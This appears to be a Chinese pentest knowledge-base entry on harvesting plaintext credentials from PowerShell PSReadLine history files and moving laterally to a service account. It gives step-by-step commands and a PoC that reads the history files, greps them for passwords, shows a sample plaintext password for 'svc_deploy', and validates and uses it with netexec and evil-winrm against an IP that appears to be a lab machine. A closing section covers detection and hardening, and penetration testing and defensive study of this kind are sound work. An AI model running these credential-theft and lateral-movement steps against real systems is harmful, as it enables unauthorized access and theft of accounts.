PSReadLine ConsoleHost_history 泄露明文凭据并横向到服务账号
pentest/lateral-movement · verified
一句话结论
PowerShell PSReadLine 默认把每条命令写入用户 profile 下的 ConsoleHost_history.txt(WinRM 会话为 ServerRemoteHost_history.txt),管理员若曾输入 ConvertTo-SecureString '明文口令' -AsPlainText -Force 或 New-Object PSCredential,攻击者取得任意可读该 profile 的 Shell 后即可直接提取明文凭据并横向到服务账号。
原理
- PSReadLine 是 PowerShell 5+ 默认的行编辑组件,开启
HistorySaveStyle(默认SaveIncrementally)后会把命令逐条追加到历史文件;路径由(Get-PSReadLineOption).HistorySavePath给出,通常为%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt。 - WinRM 远程会话使用独立的
ServerRemoteHost_history.txt,因此通过 evil-winrm 等远程执行时,命令同样会落盘。 - 运维常用
ConvertTo-SecureString '<password>' -AsPlainText -Force与New-Object System.Management.Automation.PSCredential('<user>', $p)构造凭据再Invoke-Command;历史文件保存的是原始命令行,口令以明文出现。 - 历史文件按用户隔离,但已获得某账户 Shell 的攻击者可读取该账户自己的历史;若已提权/具备其他 profile 读权限,可遍历
C:\Users\*\...\PSReadLine\*.txt收集全机凭据。 - 这类泄露不需要内存抓取或破解,属于“配置/使用习惯”导致的明文凭据落盘,常出现在跳板机、运维主机与域控上。
触发条件
- 目标 PowerShell 启用了 PSReadLine 历史保存(默认开启)。
- 管理员/运维曾在交互式或 WinRM 会话中输入明文口令(
ConvertTo-SecureString -AsPlainText、net use /user:、脚本内联口令等)。 - 攻击者已获得某账户 Shell,或能读取其他用户 profile 的历史文件。
- 泄露的账户仍有效且具备 WinRM/远程管理权限。
利用步骤
- 确认历史文件路径:
(Get-PSReadLineOption).HistorySavePath。 - 读取当前用户历史:
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt;WinRM 会话同时检查ServerRemoteHost_history.txt。 - 遍历其他用户(需权限):
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\*.txt -Force。 - 搜索敏感命令:
Select-String -Path <history> -Pattern 'ConvertTo-SecureString|PSCredential|password|passwd|net use|Invoke-Command|New-PSSession'。 - 从命令行提取用户名与明文口令,先用
netexec winrm <IP> -u <user> -p <pass> --port 5986验证。 evil-winrm -i <IP> -u <user> -p <pass> -S登录,继续枚举组与 ACL(如 LAPS_Readers)。
PoC
# 历史文件路径
(Get-PSReadLineOption).HistorySavePath
# 读取当前用户历史
type "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
# 搜索凭据相关命令
Select-String -Path "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\*.txt" `
-Pattern 'ConvertTo-SecureString|PSCredential|password|net use|Invoke-Command'
# 典型历史内容
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl ...
netexec winrm 10.129.227.113 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' --port 5986
evil-winrm -i 10.129.227.113 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
变体与关联
- 其他历史/痕迹:PowerShell 转录(transcription)、
ConsoleHost_history.txt、ServerRemoteHost_history.txt、bash~/.bash_history、~/.mysql_history、RDP 凭据、脚本与配置文件中的内联口令。 - WinRM 会话:远程 WinRM 的历史文件名不同,容易漏查;evil-winrm 上传/执行的命令也可能进入历史。
- 权限扩展:拿到服务账号后检查其组(如
LAPS_Readers、Remote Management Users)与 ACL,继续读取 LAPS 或 DCSync。 - 关联:[[pentest-lateral-movement-ssh-key-history-autospread-cron]](历史文件/密钥驱动的横向)、[[pentest-initial-access-winrm-pfx-cert-auth]](WinRM 另一条入口)、[[pentest-ad-laps-readers-readlapspassword]](拿到服务账号后的下一跳)。
检测与防御
- 通过 GPO/注册表关闭或限制 PSReadLine 历史保存:
Set-PSReadLineOption -HistorySaveStyle SaveNothing,或部署策略清理历史文件。 - 禁止在命令行内联明文口令;改用 Windows 凭据管理器、托管服务账号(gMSA)、密钥库或交互式安全提示。
- 限制用户 profile 的 ACL,普通用户不可读他人 AppData;跳板机/运维主机启用受控管理(PAW)。
- 检测:进程/文件访问日志中出现对
ConsoleHost_history.txt/ServerRemoteHost_history.txt的读取;命令行含ConvertTo-SecureString -AsPlainText;WinRM 5986 异常登录与源 IP;EDR 监控批量遍历C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine。